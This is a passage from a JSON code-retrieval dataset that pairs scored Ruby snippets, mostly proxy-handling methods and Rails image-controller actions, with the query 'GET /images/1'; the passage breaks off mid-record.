"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "af59b3f9facb8fe15d4bbf899f9a6ab3",
"score": "0.69678265",
"text": "def proxy; end",
"title": ""
},
{
"docid": "f863c2961b6a6323a838522677426f6a",
"score": "0.6935792",
"text": "def proxy\n @proxy ||= Proxy.new self\n end",
"title": ""
},
{
"docid": "f863c2961b6a6323a838522677426f6a",
"score": "0.6935792",
"text": "def proxy\n @proxy ||= Proxy.new self\n end",
"title": ""
},
{
"docid": "88df768af03832e9d160c5351485f867",
"score": "0.68277323",
"text": "def proxy\n @proxy ||= Proxy.new self\n end",
"title": ""
},
{
"docid": "65f40a5840ca70ae9186c6f92c728c03",
"score": "0.6814474",
"text": "def new_proxy_mock(&resolve_proc)\n Proxy.new(&resolve_proc)\n end",
"title": ""
},
{
"docid": "a796d862fd4aec36d8381493fae809ff",
"score": "0.67491245",
"text": "def proxies; end",
"title": ""
},
{
"docid": "a796d862fd4aec36d8381493fae809ff",
"score": "0.67491245",
"text": "def proxies; end",
"title": ""
},
{
"docid": "2d18a6d28e8e1d4e7b3e1840f8417bd3",
"score": "0.66892844",
"text": "def class\n Proxy\n end",
"title": ""
},
{
"docid": "470319509532b727899a6cf3dfd7a823",
"score": "0.6682155",
"text": "def picky\n (@proxy ||= Proxy.new(self)).dup\n end",
"title": ""
},
{
"docid": "db1dc8fa0bb5851c260150798f045423",
"score": "0.66407275",
"text": "def initialize(proxy)\n @proxy = proxy\n end",
"title": ""
},
{
"docid": "416a09ece8e93c7d490ccee647ac7a26",
"score": "0.6608037",
"text": "def proxy_class; end",
"title": ""
},
{
"docid": "75c8c76dbcd309a532ca8e2183634f83",
"score": "0.6522718",
"text": "def _make_proxy o, x, proxy_cls\n # Can the object x be proxied for the original object o?\n # i.e. does it have an id?\n if proxy_cls && proxy_cls.can_proxy?(x)\n x = proxy_cls.new(x, self)\n _log { \"created proxy #{x} for #{o.class} #{o.id}\" }\n end\n @object_to_proxy_map[o.object_id] = [ x, o ]\n x\n end",
"title": ""
},
{
"docid": "0315ace6885a2cbde4e1861b9cc61cf0",
"score": "0.6490663",
"text": "def new_link(*args, &block)\n current_actor = Thread.current[:actor]\n raise NotActorError, \"can't link outside actor context\" unless current_actor\n\n proxy = IO::Actor.new(allocate).proxy\n current_actor.link proxy\n proxy.send(:initialize, *args, &block)\n proxy\n end",
"title": ""
},
{
"docid": "abbea73ac50e0899fef5fb45d75d92fc",
"score": "0.64623374",
"text": "def proxy\n self.class.proxy.new(session)\n end",
"title": ""
},
{
"docid": "1c7fb2cfc2f707ebacc060ddf0c18560",
"score": "0.64344704",
"text": "def create_proxy(opts)\n\n # FIXME - these should be validations on the resource model\n throw \"proxy_for_path required\" unless opts[:proxy_for_path]\n throw \"proxy_in_path required\" unless opts[:proxy_in_path]\n\n create_resource(\n :context => opts[:context],\n :path => opts[:path] || calculate_path(nil, 'application/vnd.wf4ever.proxy'),\n :is_proxy => true,\n :proxy_for_path => opts[:proxy_for_path],\n :proxy_in_path => opts[:proxy_in_path],\n :creator_uri => opts[:user_uri],\n :content_type => \"application/vnd.wf4ever.proxy\")\n end",
"title": ""
},
{
"docid": "32b7e0f87bf9b2a3fea8aa8b22a0e2f8",
"score": "0.6408532",
"text": "def get_proxy\n\n # Construct a new class as a subclass of RemoteObject\n cls = Class.new(RemoteObject) do\n\n # Accept the originating client\n def initialize(client)\n @client = client\n end\n\n # And handle method_missing by calling the client\n def method_missing(m, *args, &block)\n @client.call(m, *args, &block)\n end\n end\n\n # Return a new class linked to us\n return cls.new(self)\n end",
"title": ""
},
{
"docid": "9dcac66b03ab2a751158281f731db415",
"score": "0.63408256",
"text": "def connect(addr)\n Proxy.new(addr)\n end",
"title": ""
},
{
"docid": "d23c644db344dbc52c576bb0ebc572fe",
"score": "0.6339114",
"text": "def proxy\n @proxy\n end",
"title": ""
},
{
"docid": "d23c644db344dbc52c576bb0ebc572fe",
"score": "0.6339114",
"text": "def proxy\n @proxy\n end",
"title": ""
},
{
"docid": "e6404248447ad72935a06a384f64e36e",
"score": "0.62810355",
"text": "def start\n super\n start_proxy\n end",
"title": ""
},
{
"docid": "3ed185ac69035c1c4ae7be1d4cb391fa",
"score": "0.6279058",
"text": "def proxy_class=(_arg0); end",
"title": ""
},
{
"docid": "d1f68ca0f6df2bf00169697ba993f276",
"score": "0.6274609",
"text": "def proxy_record\n @proxy_record ||= factory.new.tap do |resource|\n outbound_graph.each do |statement|\n resource.resource << RDF::Statement.new(resource.rdf_subject, statement.predicate, statement.object)\n end\n end\n end",
"title": ""
},
{
"docid": "83adc7cfcdae29f435c345fed8a632e9",
"score": "0.62588054",
"text": "def proxy\n @proxy\n end",
"title": ""
},
{
"docid": "ffab3d643b1863bebf99bc4cf2b4cce6",
"score": "0.6238805",
"text": "def proxy_class=(klass); end",
"title": ""
},
{
"docid": "ffab3d643b1863bebf99bc4cf2b4cce6",
"score": "0.6238805",
"text": "def proxy_class=(klass); end",
"title": ""
},
{
"docid": "49b69ef02f076d64e8bbb380c8454117",
"score": "0.6235728",
"text": "def add_proxy(host, port, username = nil, password = nil, site = Site::NoSite)\n proxy = Proxy.restore_or_initialize host: host, port: port\n\n return if fix_source_conflicts(proxy).conflict_exists?\n proxy.source = self\n proxy.username = username\n proxy.password = password\n proxy.save\n site.add_proxies(proxy)\n end",
"title": ""
},
{
"docid": "fb44244aee39ae254de4975cbaaf8d91",
"score": "0.62325597",
"text": "def initialize(http_client, service)\n super(http_client, entity_name: 'proxy', collection_name: 'proxies')\n @service = service\n @resource_instance = Proxy\n end",
"title": ""
},
{
"docid": "67d474f8dc04e524dfa96cbefa7c34b6",
"score": "0.62231934",
"text": "def set_proxy\n @proxy = Proxy.find(params[:id])\n end",
"title": ""
},
{
"docid": "a62de99861847f2b00dce8b018bf6339",
"score": "0.6222592",
"text": "def proxy_record\n @proxy_record ||= factory.new.tap do |resource|\n outbound_graph.each do |statement|\n resource.resource << RDF::Statement.new(resource.rdf_subject,\n statement.predicate,\n statement.object)\n end\n end\n end",
"title": ""
},
{
"docid": "49ec1e5db366dc674035f1bf22155c05",
"score": "0.6220771",
"text": "def new_link(*args, &block)\n current_actor = Thread.current[:actor]\n raise NotActorError, \"can't link outside actor context\" unless current_actor\n\n proxy = Celluloid::Actor.new(allocate).proxy\n current_actor.link proxy\n proxy.send(:initialize, *args, &block)\n proxy\n end",
"title": ""
},
{
"docid": "36c342ca1da9205a546b06d0387c6c2b",
"score": "0.6214628",
"text": "def set_proxy\n @proxy = Proxy.find(params[:id])\n end",
"title": ""
},
{
"docid": "36c342ca1da9205a546b06d0387c6c2b",
"score": "0.6214628",
"text": "def set_proxy\n @proxy = Proxy.find(params[:id])\n end",
"title": ""
},
{
"docid": "4072ecc6a416426195beb5ca03b1c2b1",
"score": "0.6212555",
"text": "def start\n raise 'Proxy already started' unless @proxy.nil?\n @proxy = Proxy::Launcher.new(self)\n @proxy.start\n end",
"title": ""
},
{
"docid": "3d401bb5abba54258e5cbf1ae5f72776",
"score": "0.62085617",
"text": "def init_proxies\n singleton = class << self; self end\n @contract.interfaces.each do |iface|\n proxy = InterfaceProxy.new(self, iface)\n singleton.send :define_method, iface.name do\n return proxy\n end\n end\n end",
"title": ""
},
{
"docid": "815c14bdceaf25338891888e7ec8b236",
"score": "0.62047464",
"text": "def initialize(instance, reflection, proxy_argument, &proxy_block)\n @instance = instance\n @reflection = reflection\n @proxy_argument = proxy_argument\n @proxy_block = proxy_block\n end",
"title": ""
},
{
"docid": "e77be35a662d0cbdb955381b8a8d8cd3",
"score": "0.61932695",
"text": "def create_trip_proxy(trip)\n\n puts \"Creating trip proxy from #{trip.ai}\"\n # get the planned trip for this trip\n planned_trip = trip.planned_trips.first\n \n # initialize a trip proxy from this trip\n trip_proxy = TripProxy.new\n trip_proxy.traveler = @traveler\n trip_proxy.trip_purpose_id = trip.trip_purpose.id\n trip_proxy.arrive_depart = planned_trip.is_depart\n trip_datetime = planned_trip.trip_datetime.in_time_zone\n trip_proxy.trip_date = trip_datetime.strftime(TRIP_DATE_FORMAT_STRING)\n trip_proxy.trip_time = trip_datetime.strftime(TRIP_TIME_FORMAT_STRING)\n \n # Set the from place\n trip_proxy.from_place = trip.trip_places.first.name\n trip_proxy.from_raw_address = trip.trip_places.first.address\n trip_proxy.from_lat = trip.trip_places.first.location.first\n trip_proxy.from_lon = trip.trip_places.first.location.last\n \n if trip.trip_places.first.poi\n trip_proxy.from_place_selected_type = POI_TYPE\n trip_proxy.from_place_selected = trip.trip_places.first.poi.id\n elsif trip.trip_places.first.place\n trip_proxy.from_place_selected_type = PLACES_TYPE\n trip_proxy.from_place_selected = trip.trip_places.first.place.id\n else\n trip_proxy.from_place_selected_type = CACHED_ADDRESS_TYPE \n trip_proxy.from_place_selected = trip.trip_places.first.id \n end\n \n # Set the to place\n trip_proxy.to_place = trip.trip_places.last.name\n trip_proxy.to_raw_address = trip.trip_places.last.address\n trip_proxy.to_lat = trip.trip_places.last.location.first\n trip_proxy.to_lon = trip.trip_places.last.location.last\n \n if trip.trip_places.last.poi\n trip_proxy.to_place_selected_type = POI_TYPE\n trip_proxy.to_place_selected = trip.trip_places.last.poi.id\n elsif trip.trip_places.last.place\n trip_proxy.to_place_selected_type = PLACES_TYPE\n trip_proxy.to_place_selected = trip.trip_places.last.place.id\n else\n trip_proxy.to_place_selected_type = CACHED_ADDRESS_TYPE \n trip_proxy.to_place_selected = trip.trip_places.last.id \n end\n \n return trip_proxy\n \n end",
"title": ""
},
{
"docid": "fa65143f30e8b2e52ece908205960906",
"score": "0.6187335",
"text": "def proxy\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "8339cd638725cce88c51cd4213d6f665",
"score": "0.6183082",
"text": "def new_link(*args, &block)\n raise NotActorError, \"can't link outside actor context\" unless Celluloid.actor?\n\n proxy = Cell.new(allocate, behavior_options, actor_options).proxy\n Actor.link(proxy)\n proxy._send_(:initialize, *args, &block)\n proxy\n end",
"title": ""
},
{
"docid": "ba4b023c735ed44ee2cd066ff72f6083",
"score": "0.61549205",
"text": "def proxy_connect(db_arm, config)\n arm_config = config.send db_arm\n if arm_config.include? :proxy_host \n drb_url = \"druby://#{arm_config[:proxy_host]}:#{arm_config[:proxy_port]}\"\n @proxies[db_arm] = DRbObject.new nil, drb_url\n else\n # If one connection goes through a proxy, so has the other one.\n # So if necessary, create a \"fake\" proxy\n @proxies[db_arm] = DatabaseProxy.new\n end\n @connections[db_arm] = @proxies[db_arm].create_session arm_config\n end",
"title": ""
},
{
"docid": "d30f8e41d967d14a4d571af477eef72f",
"score": "0.6148376",
"text": "def proxy=(value)\n @proxy = value\n end",
"title": ""
},
{
"docid": "42b3baa2cf897819fc012ff3baf2f223",
"score": "0.61481243",
"text": "def proxy(url)\n define_method(:with_proxy) do\n {proxy: url}\n end\n end",
"title": ""
},
{
"docid": "bd376441579a6e85ffb219d53018bfc4",
"score": "0.6131431",
"text": "def create_foorth_proxy(proxy_name = nil)\r\n if proxy_name\r\n self.foorth_name = proxy_name\r\n end\r\n\r\n validate_class_name(foorth_name)\r\n\r\n error \"F10: The class #{foorth_name} already exists.\" if $FOORTH_GLOBALS[foorth_name]\r\n\r\n install_foorth_class(foorth_name, self)\r\n end",
"title": ""
},
{
"docid": "348d3beadd9f32fa9a7f0b4b4108c442",
"score": "0.609695",
"text": "def register_proxy(proxy)\n @@proxy_list << proxy\n end",
"title": ""
},
{
"docid": "c2fe1ed5a41a7bc8dfd67f466d7ab561",
"score": "0.6088989",
"text": "def configure_proxy(client, proxy); end",
"title": ""
},
{
"docid": "16b9582de8820f3f3a809e8e1704ef7f",
"score": "0.6080372",
"text": "def proxy(object_manager)\n\t\targuments = object_manager.local_object(self.arguments)\n\t\tobject_manager.local_object(model).new(arguments)\n\t end",
"title": ""
},
{
"docid": "2acca5a6ef170f055f1735381af14de9",
"score": "0.60770786",
"text": "def get_http_object\n proxy_class = Net::HTTP::Proxy(Puppet::Util::HttpProxy.http_proxy_host, Puppet::Util::HttpProxy.http_proxy_port)\n proxy = proxy_class.new(@uri.host, @uri.port)\n\n if @uri.scheme == 'https'\n cert_store = OpenSSL::X509::Store.new\n cert_store.set_default_paths\n\n proxy.use_ssl = true\n proxy.verify_mode = OpenSSL::SSL::VERIFY_PEER\n proxy.cert_store = cert_store\n end\n\n proxy\n end",
"title": ""
},
{
"docid": "2ddb93d1b8b5d987b79d7985b0817a3a",
"score": "0.6053058",
"text": "def _with_proxy(&block)\n proxy = Proxy.new\n proxy.push Behavior.new(proxy, @conditions, @params, @defaults, @identifiers, @options, @blocks)\n proxy.instance_eval(&block)\n proxy\n end",
"title": ""
},
{
"docid": "f4ff018f7fb09b4b7b4b427c94372a26",
"score": "0.6028738",
"text": "def create_proxy_uri_from(proxy); end",
"title": ""
},
{
"docid": "72a30c51fe54debffd4cf5cc60cb0149",
"score": "0.601865",
"text": "def configure_proxy(options, env); end",
"title": ""
},
{
"docid": "faf77477924b66147ec1ba83654bbb45",
"score": "0.60149354",
"text": "def http\n http = Net::HTTP::Proxy(\n self.proxy_host,\n self.proxy_port,\n self.proxy_user,\n self.proxy_pass\n ).new(self.host, self.port)\n \n http.read_timeout = self.http_read_timeout\n http.open_timeout = self.http_open_timeout\n http.use_ssl = self.secure?\n\n http\n end",
"title": ""
},
{
"docid": "a82b098677f64c053fd8fab1ef8a9a4b",
"score": "0.60066986",
"text": "def proxy=(new_proxy)\n @proxy = case new_proxy\n when Spidr::Proxy then new_proxy\n when Hash then Spidr::Proxy.new(new_proxy)\n when nil then Spidr::Proxy.new\n else\n raise(TypeError,\"#{self.class}#{__method__} only accepts Proxy, Hash or nil\")\n end\n end",
"title": ""
},
{
"docid": "54bee870818a326e6c0f6490e28e7314",
"score": "0.59923685",
"text": "def set_local_proxy(value)\n\t\t\tif value\n\t\t\t\turi = URI.parse(value)\n\t\t\t\t@proxy = Proxy.new(uri.host, uri.port, uri.user, uri.password)\n\t\t\telse\n\t\t\t\t@proxy = Proxy.new()\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "ef71f04139687ec8951d17e713afa007",
"score": "0.5989938",
"text": "def restart_tor_instance(tor_hash)\n @proxies.delete_if {|x| x[:port] == tor_hash[:port]}\n start_proxy(tor_hash[:port], tor_hash[:port] + 1000, tor_hash[:data_dir])\n end",
"title": ""
},
{
"docid": "06d70f17365b1ad1f99bd5900cfe5b55",
"score": "0.5983205",
"text": "def build_reference(reference_record, proxy)\n @lock.synchronize {\n remote_id = reference_record.id\n ref = @cache[remote_id]&.get\n if !ref\n # log \"Creating new reference to remote #{remote_id}\"\n ref = Ref.new(self, reference_record)\n # IF we provide proxy that will consume the ref, we'll cache the proxy object,\n # otherwise we run factory and cahce whatever it returns or the ref itself\n obj = if proxy\n # Proxy object will delegate the ref we return from there\n # no action need\n proxy\n else\n # new object: factory may create proxy for us and we'll cache it for later\n # use:\n @factory and ref = @factory.call(ref)\n ref\n end\n # Important: we set finalizer fot the target object\n ObjectSpace.define_finalizer(obj, create_finalizer(remote_id))\n # and we cache target object\n @cache[remote_id] = WeakReference.new(obj)\n end\n # but we return reference: it the proxy constructor calls us, it'll need the ref:\n ref\n }\n end",
"title": ""
},
{
"docid": "1db7da909ea6170193198970439523ec",
"score": "0.59716934",
"text": "def create_new\n EzPool::ConnectionWrapper.new(connect, self)\n end",
"title": ""
},
{
"docid": "1da81a8805e8a891096bd067ae12bbae",
"score": "0.5964657",
"text": "def register_proxy(proxy)\n @model.register_proxy(proxy)\n end",
"title": ""
},
{
"docid": "1710967c2006990af188d5dba60b0ba8",
"score": "0.5948902",
"text": "def setTestProxy proxy\n \n begin\n @@proxy_addr, @@proxy_port = proxy.split(':', 2) unless proxy.nil?\n @@proxy_port = @@proxy_port.nil? ? 3128 : @@proxy_port.to_i\n \n proxy_class = Net::HTTP::Proxy(@@proxy_addr,@@proxy_port)\n proxy_class.start('www.fcla.edu') { |http| } \n\n rescue Exception => e\n Datyl::Logger.err \"Proxy connection error: #{e.message} #{e.inspect}\"\n do_at_exit\n abort(\"Proxy connection error. Resolver service will abort.\")\n end\n \nend",
"title": ""
},
{
"docid": "3e80a46a47bfb9d6272edcceb4c8ee4e",
"score": "0.5948747",
"text": "def use_proxy(uri, port, user=nil, pass=nil)\n @http_class = Net::HTTP::Proxy(uri, port, user, pass)\n end",
"title": ""
},
{
"docid": "06c6c71c6f57eee0147aae685046b295",
"score": "0.59471595",
"text": "def on_proxy(&b)\n load\n #proxy.instance_eval(&b)\n b.call proxy\n end",
"title": ""
},
{
"docid": "a7dca2859cf6de9e84027b77cf6bef70",
"score": "0.59450763",
"text": "def initialize name, local_port, upstream_proxy, user, password\n @name = name\n proxy_uri = URI::parse(upstream_proxy) \n proxy_uri.user = user\n proxy_uri.password = password\n \n # Set up the proxy itself\n @server = WEBrick::HTTPProxyServer.new(\n :LogFile => false,\n :Port => local_port.to_i,\n :ProxyVia => true,\n :ProxyURI => proxy_uri\n )\n end",
"title": ""
},
{
"docid": "58fba32e368119801615de6df6fba4c0",
"score": "0.59173965",
"text": "def proxy(prox)\n RestClient.proxy = prox\n end",
"title": ""
},
{
"docid": "55a00abcf724b8e20a89a1c424cd5461",
"score": "0.59158564",
"text": "def oo_frontend_create(args)\n raise \"HTTP.SYS can take care of proxying requests\"\n end",
"title": ""
},
{
"docid": "95bf89634ddd962fe04016ec3ae7f27e",
"score": "0.59154063",
"text": "def setup_proxy(socktype, family, port)\n raise 'FIXME - only IPv4 supported' unless family == :INET\n Launch::Firewall.new.enable_redirect(socktype, \n\t'127.0.1.1', #XXX-FIXME hardcoded\n\tport)\n# DEADWOOD: replaced by firewall\n# raise 'FIXME - only TCP supported' unless socktype == :STREAM\n# @proxy = Launch::Proxy.new(socktype: socktype, \n# \t\tip_addr: '127.0.1.1', # XXX-FIXME Hardcoded\n# \t\tport: port)\n# @proxy.start\n self\n end",
"title": ""
},
{
"docid": "2929844beb57ffe95a65f866e75dd776",
"score": "0.5894838",
"text": "def get_proxy(identifier); end",
"title": ""
},
{
"docid": "bacd7e87fa5482f3e348497c64889c8b",
"score": "0.5887136",
"text": "def proxy_pass; end",
"title": ""
},
{
"docid": "bacd7e87fa5482f3e348497c64889c8b",
"score": "0.5887136",
"text": "def proxy_pass; end",
"title": ""
},
{
"docid": "9126b774fb35cb048bb2fef303682010",
"score": "0.5885751",
"text": "def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end",
"title": ""
},
{
"docid": "d3906882692473460c72cc2a959e8e9b",
"score": "0.5882533",
"text": "def proxy_mutex; end",
"title": ""
},
{
"docid": "10f0db689c760826546e171ba238c7c6",
"score": "0.58819336",
"text": "def use(proxy, options = {}, &block)\n proxy = Moneta.const_get(proxy) if Symbol === proxy\n raise ArgumentError, 'You must give a Class or a Symbol' unless Class === proxy\n @proxies.unshift [proxy, options, block]\n nil\n end",
"title": ""
},
{
"docid": "daa1f274b84a761e04f68bf2577cbce9",
"score": "0.5877172",
"text": "def start\n primary, *secondaries = servers.shuffle\n primary.promote!\n secondaries.each(&:demote!)\n servers.each(&:start)\n Thread.start do\n Thread.abort_on_exception = true\n catch(:shutdown) do\n loop do\n server, client = manager.next_pair\n if server\n server.proxy(client, proxied_mongod)\n else\n Thread.pass\n end\n end\n end\n end\n self\n end",
"title": ""
},
{
"docid": "8b8d69f4eb3b486df497457a73b70b2e",
"score": "0.5876957",
"text": "def initialize(count_instance, start_port_proxy_sahi, proxy_ip_list)\n @pool = EM::Pool.new\n\n @booked_port = []\n\n @patterns_managed = []\n\n @@logger.an_event.debug \"count_instance : #{count_instance}\"\n @@logger.an_event.debug \"start_port_proxy_sahi : #{start_port_proxy_sahi}\"\n @@logger.an_event.debug \"proxy_ip_list : #{proxy_ip_list}\"\n\n (count_instance.divmod(proxy_ip_list.size)[1] == 0 ?\n count_instance.divmod(proxy_ip_list.size)[0].to_i # si reste == 0\n :\n count_instance.divmod(proxy_ip_list.size)[0].to_i + 1).times { |i| # commence à zero\n @booked_port << start_port_proxy_sahi - i # est utilisé pour creer les fichier de paramtrage browser type pour chrome et ff\n proxy_ip_list.each { |ip|\n visitor_instance = EM::ThreadedResource.new do\n {\n :port_proxy_sahi => start_port_proxy_sahi - i,\n :ip_proxy_sahi => ip\n }\n end\n @pool.add visitor_instance\n @@logger.an_event.debug \"add one visitor instance : #{visitor_instance.inspect}\"\n }\n }\n\n end",
"title": ""
},
{
"docid": "40dbb882e72037d095d4d47f48f0d0ff",
"score": "0.58745587",
"text": "def proxy=(new_value)\n @manual_proxy = true\n @proxy = new_value ? ProxyOptions.from(new_value) : nil\n end",
"title": ""
},
{
"docid": "1befae9bc98b16efa82e08daa29ed630",
"score": "0.5861296",
"text": "def _initialize_clone_(orig)\n @_proxy_ = Proxy.new(self)\n @_package_ = orig._package_\n @_cookbook_ = orig._cookbook_\n @_package_path_ = orig._package_path_\n @_package_opts_ = orig._package_path_\n @target = orig.target\n @chain = orig.chain?\n @attributes = orig.attributes\n @attrs = nil\n end",
"title": ""
},
{
"docid": "023c05ca0ad49e2a21f86981ce859611",
"score": "0.58384836",
"text": "def set_proxy(object, hash)\n proxy = Selenium::WebDriver::Proxy.new\n hash.each do |key, val|\n set_key(proxy, key, val)\n end\n object.proxy = proxy\n end",
"title": ""
},
{
"docid": "c3a273e79b478954a29ba4d514a0bdbf",
"score": "0.5838361",
"text": "def create_development(proxy_uri = T.unsafe(nil), &block); end",
"title": ""
},
{
"docid": "c3a273e79b478954a29ba4d514a0bdbf",
"score": "0.5838361",
"text": "def create_development(proxy_uri = T.unsafe(nil), &block); end",
"title": ""
},
{
"docid": "42a177b3c4ba2f8f9b580dbc7eedc383",
"score": "0.5833647",
"text": "def initialize_factory_proxies\n @configuration = Ehcache::Java::Configuration.new\n @disk = Ehcache::Java::DiskStoreConfiguration.new\n @cache = Ehcache::Java::CacheConfiguration.new\n @default = Ehcache::Java::CacheConfiguration.new\n @peer_provider = Ehcache::Java::FactoryConfiguration.new\n @peer_listener = Ehcache::Java::FactoryConfiguration.new\n end",
"title": ""
},
{
"docid": "7e1fe7d77b5fdecdb4ff9b5b55bcddd0",
"score": "0.58223367",
"text": "def set_proxies (mapping)\n\t@proxies.merge! mapping\n\tself\n end",
"title": ""
},
{
"docid": "28893d4e16390a0681c7c07fb4c225e5",
"score": "0.5820057",
"text": "def later\n Proxy.new(self)\n end",
"title": ""
},
{
"docid": "b4899f3db533486e379e07a8838c3c38",
"score": "0.5817178",
"text": "def spawn_link(*args, &block)\n current_actor = Thread.current[:actor]\n raise NotActorError, \"can't link outside actor context\" unless current_actor\n \n # FIXME: this is a bit repetitive with the code above\n actor = allocate\n proxy = actor.__start_actor \n current_actor.link actor\n proxy.send(:initialize, *args, &block)\n \n proxy\n end",
"title": ""
},
{
"docid": "ff83bb8b0a8942fbfb1116af96ea28fb",
"score": "0.58158004",
"text": "def add_proxy(host, port, username = nil, password = nil, site = Site::NoSite)\n super\n end",
"title": ""
},
{
"docid": "af821ec1ecd6ead694c7c93260576515",
"score": "0.5814653",
"text": "def create_object(proxy_object, new_attributes, other_tenant)\n log proxy_object.id, \"Creating new object in `#{other_tenant}`\"\n log proxy_object.id, \"Current proxy_object: #{proxy_object.inspect}\"\n log proxy_object.id, \"New attributes for object: #{new_attributes.inspect}\"\n current_customer_id = Customer.id\n object_class = proxy_object.proxyable.class\n\n new_other_object = Apartment::Tenant.process(other_tenant) do\n\n # Create the object\n obj = object_class.create(new_attributes)\n \n # Create the slave proxy\n obj.proxies.slave.create(\n other_customer_id: current_customer_id,\n other_id: proxy_object.proxyable_id\n )\n\n log proxy_object.id, obj.inspect\n return obj\n end\n \n log proxy_object.id, new_other_object.errors.inspect unless new_other_object.valid?\n return obj\n end",
"title": ""
},
{
"docid": "069ae06f2bc00eab0d31a398e7a989bf",
"score": "0.58016765",
"text": "def create_content_proxy_for(content_descr)\n path = _get_path(content_descr)\n # TODO: Make sure that key is really unique across multiple repositories\n descr = descr ? descr.dup : {}\n url = get_url_for_path(path)\n key = Digest::MD5.hexdigest(url)\n descr[:url] = url\n descr[:url_key] = key\n descr[:path] = path\n descr[:name] = url # Should be something human digestable\n if (descr[:strictly_new])\n return nil if IRODS4r.exists?(path, @ticket)\n end\n proxy = ContentProxy.create(descr, self)\n return proxy\n end",
"title": ""
},
{
"docid": "3167eeff53041d06cae4d7142402baf1",
"score": "0.5796485",
"text": "def new_connection(endpoint)\n conn = super\n proxy_env = ENV['http_proxy']\n if proxy_env\n proxy = URI.parse(proxy_env)\n conn.proxy_address = proxy.host\n conn.proxy_port = proxy.port\n end\n conn\n end",
"title": ""
},
{
"docid": "819ff6b102da65f596c33a38a732138a",
"score": "0.5793453",
"text": "def proxy_pass\n self.class.proxy_pass\n end",
"title": ""
},
{
"docid": "d0e190fe6c3db169d8ee603e11e02282",
"score": "0.5792822",
"text": "def create_place_proxy(place)\n \n place_proxy = PlaceProxy.new({:id => place.id, :name => place.name, :raw_address => place.address, :can_alter_location => place.can_alter_location, :lat => place.location.first, :lon => place.location.last})\n if place.poi\n place_proxy.place_type_id = POI_TYPE\n place_proxy.place_id = place.poi.id\n else\n place_proxy.place_type_id = RAW_ADDRESS_TYPE\n end\n \n return place_proxy\n \n end",
"title": ""
}
] |
ff2da1d79240779ab4f25f75a14cfb6a | GET /images/1 GET /images/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "a830ab57c6055538be9c6c825680b7c1",
"score": "0.79076755",
"text": "def list params = {}\n @connection.get(build_path(\"/images/json\", params)) \n end",
"title": ""
},
{
"docid": "9dac3d3d8052036617f7c40dd8026e1f",
"score": "0.76163614",
"text": "def show\n render json: Image.find(params[\"id\"])\n end",
"title": ""
},
{
"docid": "215503117264a4f72c2efc09e8f45853",
"score": "0.75680566",
"text": "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end",
"title": ""
},
{
"docid": "2188d5393353371aa9e1dea901c227ba",
"score": "0.7470955",
"text": "def list\n @images = Image.all\n\n respond_to do |format|\n format.html\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "94c3c0dd67842162def8172f816ae563",
"score": "0.74626374",
"text": "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end",
"title": ""
},
{
"docid": "724270634c460e8ccb3e4ea193d130c7",
"score": "0.7415102",
"text": "def show\n @image = Image.find(params[:id])\n render json: URI.join(request.url, @image.image.url)\n end",
"title": ""
},
{
"docid": "b5ad435283cb6f27ee3cc189ac5d5343",
"score": "0.7413637",
"text": "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "b5ad435283cb6f27ee3cc189ac5d5343",
"score": "0.7413637",
"text": "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "391825e3ca71beb2aefe52c12bff47fb",
"score": "0.7363273",
"text": "def index\n @images = Image.all\n render json: @images\n\n end",
"title": ""
},
{
"docid": "53bb05339daa98ab480e06d03cb074cb",
"score": "0.7348848",
"text": "def index\n @images = Image.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "9c565fa453b1e092d3ae7f8135b30cc5",
"score": "0.7275949",
"text": "def index\n @images = Image.all\n render json: @images.to_json, status: :ok\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
